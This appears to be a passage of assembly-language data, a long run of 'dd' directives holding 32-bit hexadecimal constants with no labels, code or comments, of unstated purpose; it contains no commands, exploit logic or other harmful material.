		dd 0F1498DC3h, 40A290B8h, 0D740AED6h, 5BE9337Dh, 0E229F351h
		dd 97DD3018h, 0ABA71F12h, 6C0E04E2h, 2C403439h,	83BDDDCh
		dd 0F802387Eh, 5BA1351Dh, 1F6D7548h, 62100F6h, 8F5A803Fh
		dd 0F0585017h, 91F95AD0h, 0D1E87451h, 313A07AEh, 0C90AA58Dh
		dd 1FDE2FDCh, 27A13F7h,	83B8483Ah, 99DA82F7h, 5D780C07h
		dd 0C5CE184Bh, 0E75AE03Ah, 16B8A0D3h, 83DC004Ah, 0C20B8414h
		dd 60995380h, 0DB770D81h, 8E6B2627h, 0ADA121B9h, 0A600B935h
		dd 2EBE3779h, 9517E6FEh, 30602F19h, 0ACA8FDC7h,	7DB0E28Ah
		dd 1DA58512h, 29C970AEh, 1C4B75B5h, 97F5D2DCh, 0ECB5CDBAh
		dd 0B2705D80h, 0B584D780h, 890084C6h, 0C2992FDFh, 45F65F6h
		dd 2286CCDDh, 0D381432Bh, 3EB4C18Fh, 0E0AFC92Fh, 783AAB60h
		dd 0EEC400B5h, 404BEBB2h, 8CEC1D0Fh, 0A0DD31Ch,	0C2865B94h
		dd 0F64888B3h, 9A978F82h, 905DB3h, 2B0079E2h, 1E3DEF5Dh
		dd 0A9ECDAh, 0A4F9A27Fh, 478B3862h, 46F8AA4Bh, 71953320h
		dd 0C9EDAD57h, 9767F3E0h, 3AE21309h, 2B05FF66h,	70AE1D85h
		dd 7ECF8073h, 5E619297h, 9E00DE94h, 7F6E99D3h, 0E0CEC791h
		dd 0EEBD5B0Bh, 70ACCA16h, 0CA3902AAh, 5E3837A3h, 6BB72F71h
		dd 6CF11312h, 1C1E6E2Fh, 2FFC1E1h, 2A3866F3h, 698A5E35h
		dd 16150702h, 8D8C7109h, 2A7081B3h, 7E3F08B1h, 2F2100E3h
		dd 37E2B44Bh, 0AD514E81h, 800A8845h, 0E57657Eh,	7AF4244Ah
		dd 50A6D513h, 5F751E30h, 973EF8ADh, 0BD9930EBh,	6B1E7C61h
		dd 0F65F5EA7h, 0BFC0C201h, 1C3310E4h, 0FD29742Fh, 0F4FA842h
		dd 8CE125F3h, 0ACB7B012h, 32F7C04Ah, 0A867ED92h, 1F5C1F18h
		dd 57DFC7D2h, 5009A0C0h, 4415E8BBh, 5B953C08h, 0D6E020F6h
		dd 0A5FD733h, 0B24CC30Ah, 0F6E37CA5h, 6C90CB00h, 0AB23D44Dh
		dd 201B4A7Dh, 0BB5F5381h, 6D78B304h, 36BCDE14h,	158509C2h
		dd 0BF50505Eh, 93611D65h, 0BA097F52h, 0FD7160F3h, 11FA65A5h
		dd 4460253Ch, 6B2D0095h, 7FEFAFEEh, 3000EAA8h, 29D1CDEh
		dd 13B811BEh, 30591870h, 0FEF7B3D6h, 678CC500h,	0D266A126h
		dd 7DB71227h, 1224F361h, 30FDC6F8h, 0A9215A71h,	85BDB4F4h
		dd 3E0077A8h, 9A34841Fh, 90DB87A3h, 2AA920E6h, 0F2B2E912h
		dd 0F09524F4h, 4B58632h, 0C1A0EF3h, 0FD2B4A7Fh,	71F8AD53h
		dd 0EA4B5FFFh, 0FDF6B020h, 0D60F00CAh, 2CB43DDDh, 950FE3C9h
		dd 6E59F2ECh, 7A0AD737h, 0D6A5F0FDh, 540251Ch, 8BFC0F5Ah
		dd 5830C875h, 90610A66h, 0A0DA6B8Ah, 0B80E5CD9h, 0FFB42086h
		dd 275A9B54h, 32822108h, 717C6A5Fh, 971002DEh, 140B6638h
		dd 95908E87h, 2BFAC27h,	0C3805ED2h, 2B265ED7h, 0CF1D7889h
		dd 0DBBF2901h, 585FBA6Fh, 30D2E368h, 9EF62D8Fh,	0E0619300h
		dd 940FF883h, 0EB909F90h, 2CE4B542h, 0F3166198h, 0F1C01EA8h
		dd 0B390E521h, 8043783Ch, 6A38DF17h, 0D80A777Ah, 0BB532B6Bh
		dd 18E9E00h, 8062038h, 7B6A1D2Fh, 33BB7809h, 4DA2BA97h
		dd 94EC60FBh, 9E920BB3h, 17F2214Ah, 813F04D2h, 34AE162Ch
		dd 89DBAA74h, 28F99D08h, 706DF349h, 1E0C142Dh, 8432E193h
		dd 291F4069h, 41AD9D3Fh
		dd 0E93BD46Bh, 64E1B8FEh, 50CDD2CCh, 0C10C1D5h,	0CCEC8136h
		dd 0A322D9Dh, 49D63E76h, 0C820714h, 6775EAE9h, 139A1271h
		dd 0F078E6ADh, 1213184h, 0F4825CADh, 20609B32h,	850B8FD2h
		dd 548D8961h, 8A91B9EFh, 10B31702h, 0B5D060AAh,	9081057Dh
		dd 92F80FDh, 0C8F16049h, 611FB584h, 97104FBDh, 40902417h
		dd 0B5A626DEh, 0F5D86097h, 5807A0A8h, 0AE93DD04h, 0AF5E7370h
		dd 9BCF041Fh, 0EA3B4037h, 9A5AC4CAh, 0D7178250h, 0F78B7D9Eh
		dd 54A5E359h, 0FBB76256h, 46DCA25Eh, 0CFA9001Ch, 3D95FA85h
		dd 0B6690BBCh, 4DFF15B7h, 0E0904AF8h, 0CF6B0CD3h, 63C43724h
		dd 31C7108h, 418D2953h,	6A5B0F0Ch, 400920FFh, 0DB0BBB03h
		dd 820B4E8Fh, 5E19F526h, 9CB84E7h, 88B3BD13h, 0BCF89205h
		dd 0E6DF0B00h, 6844F770h, 6071E431h, 8C6B0E79h,	0B388E8F8h
		dd 0A38597C3h, 2764C689h, 55259DECh, 59A9EC0Ah,	9574D0F8h
		dd 659DE1C8h, 0A9C9134Bh, 15A16741h, 6CC82B01h,	0FED125BEh
		dd 980817BEh, 0E200C0EBh, 0C1196ECBh, 995B64Bh,	9AE91CE1h
		dd 0C562A85Ch, 505DE021h, 4755244Ch, 564D1385h,	0BA7C30ACh
		dd 831CE6A2h, 3E4E3BA6h, 9786227Bh, 25A35E5Eh, 61C043F4h
		dd 0C231CE13h, 4AD2C762h, 8501A2D7h, 86CB2E09h,	0FE4BE946h
		dd 2C12AAD2h, 5445DD6h,	610F893Fh, 0F90D9223h, 0FD40ABF3h
		dd 0AC305E3Dh, 0C780E03Dh, 97B2978Bh, 0B30198F5h, 8497B8F5h
		dd 85313C84h, 8BE50AA5h, 278F9E08h, 6A4BD8F0h, 86C014DBh
		dd 0E91E6A4Fh, 0E333A202h, 575D9D03h, 0BB05F614h, 3F28D0B8h
		dd 4A134AFh, 2330D8Fh, 901107B9h, 0A0DFCFEAh, 0CBFCE1CCh
		dd 182E9D26h, 0B876E9F7h, 361327D3h, 247891C2h,	0B7C02B25h
		dd 0FBAC008Dh, 5DCDD457h, 0A99D090Ch, 25D25332h, 1AE7DFB7h
		dd 736E1AFh, 88F7DD3Bh,	9230D118h, 25E2E385h, 1DE4F8h
		dd 68C48060h, 4601D181h, 61780713h, 0A62EF39Dh,	0A339A078h
		dd 910E012Ch, 0BC936BA0h, 0F7C240E7h, 9ED3B621h, 0B64A8BA9h
		dd 0B4DAB4E9h, 89BBB8C0h, 2005ACD5h, 3305B531h,	0DF8C39AEh
		dd 717AFA85h, 1B29C0Bh,	15109056h, 27FAC24Ah, 958A6C75h
		dd 665C1562h, 2D9D3160h, 67C6B509h, 0F3585FB3h,	0BD0108B1h
		dd 331702E5h, 38AA8C53h, 4701252h, 0E2F64D9Fh, 4D52E9Ah
		dd 0C1925BFh, 56F79301h, 0FED52267h, 0ED9B2CAEh, 6FEF72D3h
		dd 4A7D02C1h, 7126B3F1h, 4D22005Ch, 0B2D835BAh,	94A2500h
		dd 71ECC27Fh, 87DB0481h, 0EA433B60h, 712272CBh,	0D3EF8CB5h
		dd 7FBF0C66h, 0F40A60E5h, 7AAEE05Fh, 0C77A0AC5h, 7BB499D1h
		dd 127CD4AAh, 0E047E490h, 42A6E191h, 699BF927h,	0FF52DAF3h
		dd 0BE0359D9h, 9295BFB2h, 4B097077h, 2059CDFBh,	1D40A98Eh
		dd 40809450h, 0DD3C8A49h, 4CA65B62h, 0ADB45089h, 6ADE5C9h
		dd 4067E5AAh, 0ADB79Fh,	905D7291h, 0F060BBCEh, 1A68F9CAh
		dd 9FBF3C98h, 4BFA8D2Ch, 0DA74A45Dh, 0AEBBB704h, 0E5C0DC18h
		dd 605F026Bh, 6758501h,	0DFDC3A57h, 6F0FC7C5h, 0B34B31E9h
		dd 0DF8101F6h, 7B77CA6Bh, 57DE322Eh, 314162C0h,	6B2E5B81h
		dd 11823ABh, 154BDE59h,	0D1F12193h, 0EF840411h,	85B270ABh
		dd 50810A65h, 9FBD4C30h, 4D09EE29h, 0F9B51293h,	2458BCEBh
		dd 1C6BA536h, 605E207Dh, 0BACB30EEh, 8B25B19Bh,	693C82C6h
		dd 206B4514h, 0B0135B2h, 0E87BAA0Ch, 0FCA75A00h, 9D088602h
		dd 96D98B12h, 76B359C1h, 88ABFE44h, 0BB00D0B8h,	1B9F04E2h
		dd 713540F1h, 33100F6h,	814D932Ah, 0AB0B548Fh, 0D85B6160h
		dd 912BC28h, 6B7172EEh,	786AF325h, 320A3F68h, 0DD524A64h
		dd 89E2FF12h, 0D199CF9Eh, 8E0D24CBh, 0B5C82B47h, 88BA3E2Eh
		dd 0F562BB81h, 3A5BDF8Bh, 4B1AB708h, 584B5DD8h,	98E163E6h
		dd 599F2E8Dh, 0B753C0DDh, 0A7B6DD39h, 0EDE9485Eh, 8B59D87h
		dd 25BF5002h, 960AFD6Dh, 0D05E27CDh, 0F76909DCh, 0B46ABE4h
		dd 6DB52912h, 0A97EEE2Dh, 2FCD84F9h, 9CF2F012h,	0D6E7E44Ah
		dd 803017B2h, 6D4B24F6h, 61FCA7C3h, 0F72B2D79h,	5F22B051h
		dd 0F96F02B0h, 21E9D32Fh, 541B498h, 74C8C795h, 0A450495h
		dd 36E1CAACh, 96B20504h, 0A6DF0A01h, 21F3BC1Fh,	79B2289Ch
		dd 0CDB2CE52h, 9C6C3F17h, 0F112CBD0h, 617DB708h, 0E012CB48h
		dd 0EEE6242Ah, 9C02BB6Fh, 0F84DB56Fh, 35EB9B56h, 6642A57Fh
		dd 3339EC02h, 0BCABF10Bh, 0C0D3B09Fh, 0E22CB7D0h, 6800CC3Fh
		dd 0B38C3536h, 4F505F92h, 182B360h, 177BCAE1h, 0F2D30DACh
		dd 0D31D6059h, 0B6965E61h, 0F19EE04Bh, 12F694CDh, 516FAB02h
		dd 60001C23h, 0FBB8502Fh, 797DFED3h, 958B12EEh,	12CAEDA5h
		dd 0E882FDB5h, 634DF561h, 0E8D23869h, 794C0930h, 11024B6Dh
		dd 8A051F2Dh, 3EC98AAh,	109DBD12h, 6E3E2DABh, 7800116Ah
		dd 8950527Fh, 0C1C9819Dh, 52505C5Bh, 0B3841BB5h, 0F0B36597h
		dd 4A920128h, 0A23AE608h, 76A23018h, 551A7712h,	9C1E2ACh
		dd 418A9BDh, 0AC5FD9A8h, 0FA34C011h, 0F767658Eh, 3E86AEFCh
		dd 0ED04832Ch, 0EA1D9DF9h, 6036C6DDh, 0DFD4C2B2h, 25977340h
		dd 5B39005Dh, 77F22A60h, 0AB0080F6h, 7E0C58D8h,	95B8403Eh
		dd 5655FA92h, 0D52FDC01h, 5C466Ah, 1C2B3264h, 71D24058h
		dd 0BFC48F07h, 0E580C18Ch, 0B4759589h, 0E65F1281h, 301AB22Eh
		dd 9104AC1Bh, 0BBEEBFD6h, 1EB308BFh, 0CF805102h, 0FC6C5FCDh
		dd 16736CBFh, 0C0FD8D33h, 0B5850B0Bh, 490D7BAh,	0BB565001h
		dd 1092E82Ah, 0E9E44921h, 75BA8812h, 670FC103h,	0B8F19633h
		dd 341FBD6h, 0F0D5B404h, 0FDE57FECh, 273B846h, 45ADBBCBh
		dd 0F2787E62h, 0A52A1F4Ch, 20312D99h, 0CD4A7D2Dh, 802D6C5Dh
		dd 0EA8415C2h, 9F900034h, 998A9437h, 2E02AA17h,	72AEFD32h
		dd 534F5C04h, 2A165694h, 0EC4E2CA9h, 3484D251h,	0A9BB4C20h
		dd 11A12DEFh, 0C557454h, 0FE622C41h, 1A71A79Bh,	0BE099218h
		dd 7BA643h, 0EF815195h,	0C00C09F5h, 3AD75B67h, 89561F0Dh
		dd 0E7DE85C0h, 71BE4B09h, 0B33B453Dh, 18B2925Eh, 0BFBD2313h
		dd 1DB1E952h, 80F89B2Ah, 0D20EEF58h, 2720055Fh,	0AE6FC1D5h
		dd 4A095138h, 7D7E995h,	0A9F0D381h, 0E5BEF03Bh,	2CB9B13Ah
		dd 0AC24808Ah, 37A1668h, 41E12049h, 0F409C18Bh,	55849DC3h
		dd 1A91B4B5h, 0B9125E80h, 2A18B413h, 709460DEh,	0BD377A27h
		dd 0A19B7290h, 5CF24105h, 0CCEF61F9h, 0EF0083A2h, 9D9A56C3h
		dd 5AD02FE0h, 0FB8C81EBh, 0B8D16D90h, 967C013Ch, 0A5AD6054h
		dd 6FEE2A2Dh, 2EB50076h, 73470ACBh, 58EC906Fh, 0FCCAD83Dh
		dd 1F9C05A0h, 0AABA8427h, 6A2AB18Dh, 492A0B8Fh,	10B55460h
		dd 11175817h, 0E67208Dh, 0FE25B8F5h, 1BC42FBFh,	0E00025F0h
		dd 0E7971527h, 3315638h, 0E9BCBDE3h, 53BA0F40h,	500680D7h
		dd 176957BBh, 9B901FC6h, 79D8007h, 2DF98C37h, 0A05C565Eh
		dd 2540722Fh, 95DA0C4Eh, 95FC0144h, 0F941FB9Ah,	3A887551h
		dd 30B4AFA6h, 97B5D946h, 0CF5F8712h, 321702FAh,	8DCDD1FFh
		dd 1BEDAE5h, 0B3182825h, 18282E43h, 0B2988A80h,	4709FA1Fh
		dd 81AD4563h, 26A2FB2h,	0A0F20876h, 82568F8Bh, 0A6885093h
		dd 0E4841ECFh, 0AA298B26h, 0CA1B9BDDh, 1129FD5Bh, 0DC075Ch
		dd 0E6733075h, 18FCA532h, 0E1BD0116h, 884229BAh, 0B1E159Ch
		dd 35C78E9h, 8825A671h,	17F5D7D8h, 0F20D8BF1h, 0ED52003Ch
		dd 10BEE167h, 0E6989576h, 905E5B56h, 0B5C929D3h, 160907F0h
		dd 0AA336DB5h, 0FB266839h
		dd 899636B1h, 0D521B1CAh, 0B7255394h, 0B7746E0Dh, 0B647D9EDh
		dd 0D89BA2C0h, 254B9028h, 6A6393F7h, 4D8C81CDh,	0A37A2B2Ah
		dd 0AF091A01h, 35636BD0h, 0B10E2095h, 8EAC124Eh, 2294FA2h
		dd 50FCD5Eh, 0F90FD1B0h, 70E60010h, 6DBD1603h, 4F8BAD28h
		dd 952589A0h, 1298F98h,	4072309Dh, 0DE750309h, 2C54324Fh
		dd 9C56D0EAh, 57A5F921h, 0F81D7960h, 9CC8994Ah,	8B10B553h
		dd 3E001A46h, 6EA6BCC4h, 0F242630Eh, 357F00B2h,	0C154BD0Bh
		dd 2D5F9D33h, 0D85F5509h, 820F298Bh, 0D9FC2DDDh, 1A13A542h
		dd 9510BBCEh, 2B121F09h, 95B2C8h, 0E5DBED9Eh, 107EED3h
		dd 0C060914Eh, 7E8B675Ch, 0D1D68Ch, 48A1DB81h, 9FE90E60h
		dd 0C7C141DEh, 68BFB6F6h, 70491170h, 144054Eh, 0AB0875B5h
		dd 0C248BF37h, 7F1A34E5h, 2A101AE1h, 2022ABB3h,	0DCBF897Eh
		dd 0B9629220h, 0DF80C040h, 8CFF9Ch, 34DED881h, 0E9FC2464h
		dd 6CB5E4FAh, 1D086BFh,	0B7B6EDFBh, 3AF2F4C2h, 0E884BEB2h
		dd 42CD4008h, 14C04ED4h, 85B5D37Ah, 8D75E904h, 6976AE04h
		dd 20120ACh, 8812BB82h,	0EFDE302h, 0A550D056h, 668282A0h
		dd 5D091B3Dh, 0B7F7280Bh, 2FCE805Ch, 0F98B141Eh, 0A30240BFh
		dd 0C86EB5B1h, 0D550F7BBh, 7310B547h, 0B63D6C63h, 0B95B8570h
		dd 69A4100Ah, 2FFCA401h, 44B7FCE1h, 57FCA109h, 0B5B33998h
		dd 12E922h, 0D3C6576Dh,	5D297DC1h, 946FD507h, 0E6106122h
		dd 112D040h, 8FBBC02Bh,	0DD262A99h, 0D73C2BD2h,	0AF569529h
		dd 5A37FCAFh, 95D40FD6h, 0F8A05BC1h, 0E2505E7Ch, 0FC27DFC3h
		dd 2F21A6Dh, 8404C996h,	0BBACDE3Ch, 260956C9h, 75041257h
		dd 0D9E40145h, 38416EEFh, 0D8D5854Ch, 8BFFB70Fh, 69944BD7h
		dd 0A8A184BFh, 0B9BB809Ah, 9554D059h, 0B5BD02CEh, 0CCAB0086h
		dd 0F3FE7DB4h, 41FC2A5Ah, 8D09E102h, 97562CA5h,	0EB14D171h
		dd 282AEB8Dh, 27D2D96Ah, 2A56941Fh, 90E238FEh, 6FAF26D6h
		dd 0ABCF0519h, 9BBFDB69h, 0E001DFC2h, 0C53ADBCCh, 90B98089h
		dd 98906D58h, 8A8152E7h, 0F296AC55h, 0A417D271h, 14B6D54h
		dd 20A722E7h, 6E8409A1h, 9030BC04h, 0B8AA9529h,	0DBE64F97h
		dd 0D93017B2h, 0E11A266Bh, 27C91C8Ch, 82E9DC54h, 0B270DCEh
		dd 16170D58h, 0F2535717h, 2FFE1188h, 0A0D7D66Eh, 80E854Fh
		dd 87430095h, 921B2A3Bh, 37956A23h, 0D97181E3h,	7F795305h
		dd 890F863Ch, 0B635C049h, 0B748CF00h, 184A0A94h, 0BC231317h
		dd 704AB97h, 6044028Bh,	5346B061h, 5679B725h, 0A1124F43h
		dd 8DAE111h, 0C1B90260h, 6141D63Eh, 48DEB15Eh, 5917138Ah
		dd 23B2DC25h, 1F859D13h, 4BF56FFFh, 0FB808860h,	4FBB09DBh
		dd 6D82A349h, 0E90206CDh, 6181A845h, 68748D6h, 5B1EA205h
		dd 6D8DFF18h, 95A03327h, 3700F501h, 6673566Ah, 9F979FBFh
		dd 6981EF51h, 0CCDC2D2Bh, 0BB0A302Eh, 61251C4Ah, 55E66220h
		dd 0F6629A4Fh, 8CA805Ah, 2DEE4B19h, 0EFEC24Fh, 0DCE1DDEBh
		dd 20F62E89h, 72F1DDF0h, 0D36EFD25h, 0EA0BFFCh,	3C09C8BCh
		dd 0BDF0142Dh, 0E0D4CCF4h, 14099797h, 0DD705E7Bh, 533097E8h
		dd 580C9CBBh, 0E968BB3h, 0B5E74A1Bh, 0F8FBE689h, 123A0E70h
		dd 0AA337CBAh, 172B3DB5h, 837BEE1Ch, 14B95D00h,	3A2E624Ah
		dd 0D4915A09h, 7B07060h, 21463568h, 414499E7h, 28EC2B01h
		dd 8770B8FFh, 11800B2Ch, 3054664Bh, 340F9800h, 75867927h
		dd 4AF105C5h, 28C385Dh,	615FF981h, 0CA02975Eh, 4D18FDBDh
		dd 6FB3E0DFh, 8916AE42h, 37097535h, 72985649h, 5F52D6F3h
		dd 0FD909B66h, 298002EEh, 424A9D85h, 21BB7461h,	94F64065h
		dd 747B1252h, 39B50916h, 6BAE0953h, 16236Fh, 8AF55B4Ch
		dd 469B61F9h, 0E574E179h, 8FDB4B23h, 0C5DA4A41h, 0D342D80h
		dd 88B0AD73h, 8DCA074Ah, 80314434h, 0E9EDE756h,	889E564Fh
		dd 1CB0CCDDh, 6E327E4Eh, 29116460h, 0CB989077h,	0DFF20042h
		dd 0B47B31DEh, 30125DD2h, 80AC615Bh, 0AC1395EEh, 3DEE2D69h
		dd 1040F3F8h, 0F9EAB723h, 0DE400E4Fh, 0E2337277h, 9317682h
		dd 11B797EFh, 6290BAF7h, 0F2AD56C8h, 0DC0774h, 0BB2A1BE2h
		dd 4F1F2EF4h, 9A6E3191h, 69BD5C61h, 0F34981F5h,	0E67F6D67h
		dd 30A6B413h, 4B7C7F04h, 4FE3B9A3h, 0EE8763DEh,	67F6E09Bh
		dd 0D52D09E0h, 9D866073h, 856E9525h, 127B1B95h,	0AB32CD24h
		dd 5A69AA2Dh, 44B2FFA8h, 0F2D0D85Fh, 0DD1A599Dh, 10B58B83h
		dd 0C0B015FFh, 0FF08A8ADh, 684D5802h, 79BEDD31h, 542B007Fh
		dd 16B5FE67h, 0FCCD0D0Fh, 5ADA20E0h, 975F3F31h,	0FDBB73Ah
		dd 0F700BC51h, 0AEACB2A8h, 90C6BF04h, 0AEB814C0h, 0FFE61D6h
		dd 21242A87h, 0A74F94ACh, 231800B2h, 7F63214Fh,	17D30BBCh
		dd 0B555A674h, 9B189569h, 3033C980h, 829FFE21h,	5C52B3A6h
		dd 0DE9A24A5h, 939FCC02h, 5C71CB80h, 9A812D9Ah,	2AF988F6h
		dd 0EF09CBB7h, 5A714C9Fh, 99B1354h, 5157EF95h, 8A142B7h
		dd 8CA23ABCh, 8739F892h, 2C000AAAh, 7DCC74F5h, 7521018Fh
		dd 32577986h, 7AB62F4Ch, 256532B4h, 1047325Eh, 269E53E0h
		dd 1FA803FAh, 38E1194Eh, 18EE0A80h, 50963B1Ch, 3DEE1A6h
		dd 0F282B0Eh, 195E0B80h, 0DBD109BCh, 85B9CB15h,	0BDC2A097h
		dd 5ADAFBB7h, 2ED37419h, 8A424E28h, 0F6992B61h,	0F2B36CD5h
		dd 9826091Ch, 9F053E35h, 5FB445C5h, 4085F296h, 0CD0948C0h
		dd 0C4A0AA89h, 0D9A40087h, 6F14BCB2h, 0DB00639Dh, 7F642D43h
		dd 160EAAF7h, 81778867h, 4D96D920h, 0C6EC417Bh,	816B2E62h
		dd 7D071A23h, 0FBA0453Eh, 3580E9F5h, 0AF6D22CFh, 3E0A4F7Bh
		dd 84772380h, 0B2818263h, 411CC09Fh, 4B82FC27h,	68928D54h
		dd 0CAD8801Bh, 173C91Ch, 1495BB29h, 66DF42C6h, 87CA4A28h
		dd 0B7274822h, 0E95E56FFh, 3D4AF74h, 0B65A61CDh, 72890CC6h
		dd 0D1CB258Ah, 3CF3EAF9h, 3BFC8E00h, 9230749h, 8D2940ECh
		dd 5B53A457h, 3DD03DABh, 1D59A83Ch, 694915h, 37C14D53h
		dd 1106B396h, 0FFF31EE9h, 742EF7F8h, 0D2C99A9Ah, 310A20EBh
		dd 0A89F699Dh, 4062EF7Ch, 89475A8h, 800229F0h, 0D85C824h
		dd 0BC08D0BAh, 0C1424062h, 8000E3DEh, 0D633271Eh, 693CB259h
		dd 26FBA825h, 50624595h, 44B531B7h, 2EAD2529h, 14F96AC1h
		dd 1CC76EAAh, 0D6C56FDAh, 8FFA1869h, 1BA6D30Ch,	8CEDC900h
		dd 7988A98Fh, 3D335E9Ah, 0A4D9BF72h, 0DAF302B6h, 82775C82h
		dd 5CABEFBDh, 11566756h, 3BC1BD2Bh, 5C5F4E92h, 0FA8A625Ah
		dd 422FEFFFh, 115F701Eh, 282EE1B0h, 58A5A37h, 0D821E1D0h
		dd 246A5702h, 2BDDFF2Dh, 0E3607120h, 3338996Eh,	0D56D0071h
		dd 0BA7BCFFFh, 0FD240753h, 139A1520h, 2C447989h, 4C97FCD4h
		dd 521444FBh, 54C1980Eh, 6626A035h, 0C3A259h, 0BECC551Bh
		dd 0C80C42D5h, 0C6E91D16h, 0B7E28AACh, 7B572F42h, 33A770AFh
		dd 4FA5BD3Eh, 9C62DC23h, 1CA26B8h, 1D0F10A5h, 885D5350h
		dd 80D173E5h, 69BE009h,	610B9281h, 0D5DC9431h, 33F33229h
		dd 67927D72h, 89555556h, 82707870h, 820C539Dh, 0DD01D781h
		dd 0F62555Ch, 0A889FF89h, 0AE37B57h, 8B86B195h,	6CDFF6Ah
		dd 928DE2C0h, 1E404C35h, 3B1BD910h, 11A11303h, 7889DF8h
		dd 0D90B7826h, 223D7F0Eh, 0B7A1A913h, 0A35145ADh, 24DA22CDh
		dd 0FEC5C4B0h, 34008h, 8170E65Fh, 1E05D1E3h, 71E43E95h
		dd 0BEABF480h, 92434B94h, 0E822056Ch, 463E2011h, 0C8717195h
		dd 0CA664900h, 0C2BBF0DAh
		dd 2DB57B50h, 0B3595FACh, 0EA09ED08h, 469960B7h, 3800F98Eh
		dd 680445E8h, 1A43AD9Eh, 1A7539DFh, 56C612D5h, 0E9F12558h
		dd 8A4AAC00h, 0C6AAFFh,	1D7E5D08h, 0D9D1FE6Bh, 0A46F251Eh
		dd 8160DBC4h, 0C4328FC7h, 7968770Eh, 0CFF8C82Bh, 0BD1560Fh
		dd 0D3F9D7Bh, 5F8EE9D8h, 0AA01D53Bh, 0FD04B956h, 53B8AB73h
		dd 0F970FC49h, 2625E288h, 4AE55F12h, 66E97001h,	0A7D00BA7h
		dd 0BD29530Ch, 975B31DDh, 0B5093A18h, 0E91BC92Fh, 0AC1519FBh
		dd 0C973800Ch, 0EC58AB8h, 359A7E50h, 20F9E6E1h,	78B52EF1h
		dd 222BB231h, 62A2753h,	5D02F50Ch, 98F94BBFh, 0F3048148h
		dd 711C68DBh, 0DE627B10h, 485C24ADh, 4EB0AF50h,	0F02CF626h
		dd 0CFB1B59h, 577B5C14h, 29401166h, 0F4C7B25Bh,	959DAC03h
		dd 0EA664C9Ah, 239EC600h, 456781F5h, 96EC07B9h,	62D8D4C4h
		dd 0FC40F7Dh, 0E3E42BFBh, 0E6FC4EE1h, 0AA31E006h, 53CC01F8h
		dd 1FA1D196h, 0BE606AC1h, 811C459Dh, 4CDB2AF9h,	0D328A0C0h
		dd 0BF1266FCh, 23A2E6C6h, 0E0C0340Fh, 473513E0h, 3201B124h
		dd 5602AC16h, 9FC2B9Bh,	14392585h, 0ED9D3E5Ah, 0CCB1C08Dh
		dd 0DE7162DAh, 0AC05FAE6h, 2FCD9529h, 431DDFAAh, 6750F077h
		dd 9D6071EAh, 0F3F4561Ah, 1905DF40h, 6867002Eh,	0AA4FC60Bh
		dd 511DBDF6h, 0AF80EEECh, 5BD67B2Bh, 70B53961h,	8DF8B92h
		dd 0BB41041Fh, 0F63F294Bh, 180EE0BBh, 0BB31025Bh, 78CE8EA4h
		dd 2449FA5Ch, 76EB07F5h, 0D52518ADh, 0A8905B31h, 56104416h
		dd 9591109Fh, 15A101A7h, 24BA5261h, 0E32E2E7Ah,	0F9FE257Fh
		dd 4C1AC1C5h, 0DECBFC56h, 0DCCDED02h, 0D57EF96Ch, 7722C542h
		dd 0C5FF3041h, 0F1B504F6h, 0E1FF051Bh, 129120BBh, 4617DB38h
		dd 0DB01E068h, 0C90A0D55h, 27CE282Eh, 0D2F7054Eh, 8DF15EA0h
		dd 172A9F00h, 2CED6945h, 86DB1381h, 0B2CD12B0h,	50A85F3h
		dd 56216A0Fh, 409D71FDh, 0BC149BDEh, 14974616h,	0FCB544FFh
		dd 9231F39Dh, 0FA298983h, 0BDC7F5Ch, 45E1FC5Ch,	0EB584009h
		dd 0C4E7ADADh, 8D29E530h, 108B9535h, 0B7A5317Fh, 0F9BD3310h
		dd 0DE8B144Bh, 804ADA5Ah, 204A22DFh, 65ED2C18h,	80DD69D6h
		dd 0E697DE95h, 2336002Eh, 0CC3B114Dh, 14096424h, 7784D877h
		dd 0C6804B45h, 2FE84259h, 0A27C0008h, 0D139C3C8h, 14097EC2h
		dd 0D521E551h, 0FC573A92h, 5800F437h, 0D966A6C4h, 26919Ch
		dd 506FB33Bh, 0CA4187BBh, 2C79F6BFh, 0FD5CDEDAh, 31DFC17Ch
		dd 0E22B348Ah, 0DE5D050Ah, 19EF7327h, 616062FFh, 0B8527F5Dh
		dd 0FC2600F8h, 0C18D04F3h, 32610E31h, 3E082DAAh, 956037B0h
		dd 0B142637Ch, 0AF907F21h, 9A2264BBh, 41FB9F07h, 5220FE12h
		dd 9058BAB3h, 0D918456Dh, 0CC8A7E8Fh, 1C269C13h, 0DEFC4056h
		dd 0CDAA54B0h, 0BFF9E314h, 472312D6h, 1AB2CDA6h, 5FF0330h
		dd 8E88A82Dh, 658F094Bh, 4D70AEA9h, 60B1EFBFh, 520782E1h
		dd 81DA102Eh, 3CE44E3Ch, 4CBF974Eh, 2ACB023Eh, 5E204905h
		dd 1A64694Bh, 8F46C800h, 8CDC143h, 0E541006Ah, 263B8311h
		dd 1B794F3Dh, 0E6EAA425h, 4F93B433h, 0DCE2A361h, 2305E83Bh
		dd 1CF9EA03h, 0B95BF286h, 0C16B35E0h, 11025B1h,	0A27A61F5h
		dd 3E32A860h, 0BB803D2Dh, 628C4AE6h, 0DB4BB70Fh, 0DEEB4FD4h
		dd 0F44A8014h, 280E4EFAh, 20C69903h, 514A2459h,	0AD7A25ACh
		dd 57A9C02Eh, 590208E2h, 0BF0F7C2Ch, 257B6CFBh,	4DE2F9B7h
		dd 0DCA723B7h, 9D86A86h, 2083D97Bh, 37C278E0h, 0FB270254h
		dd 837F7042h, 0EFDF4918h, 99C2E85Ah, 8DFA8092h,	6D2DE29Ah
		dd 52A3B700h, 0DEBE6794h, 92070942h, 25441677h,	0E1BB6507h
		dd 7BC3AD4Ah, 62838942h, 4B63DFDCh, 3E72C91Dh, 9BF05CA6h
		dd 2B2895A0h, 0DB54B189h, 1600D354h, 0DCF2103h,	357B86Ch
		dd 0DEEF686Bh, 0E5EA3A81h, 30E1EC48h, 0AC46F083h, 20A15B99h
		dd 0E528C278h, 44150204h, 0C6FC0E53h, 71E05F25h, 856457B9h
		dd 89BE95A2h, 5EE73A1Ch, 5743E5F0h, 0A180CC00h,	1D1732B8h
		dd 0D87AC090h, 14890F50h, 0E1B831D3h, 1FF5F980h, 0E9092B35h
		dd 0A0C89915h, 5FE03AE2h, 79039390h, 0BDB52E23h, 6127A826h
		dd 5CFA2D54h, 8E125B44h, 0F4B2C056h, 0F823438Ch, 5B58E92Dh
		dd 0CCA6D99Dh, 0B228FBA9h, 0BC7651E8h, 93ED900h, 0EAA7F8EBh
		dd 0A3714B75h, 0C9C25FC6h, 0AA5B0518h, 0ACE849CEh, 8D1689FEh
		dd 0D8A434BDh, 0D41497DAh, 123BB345h, 0F127B8BBh, 0E72B04A0h
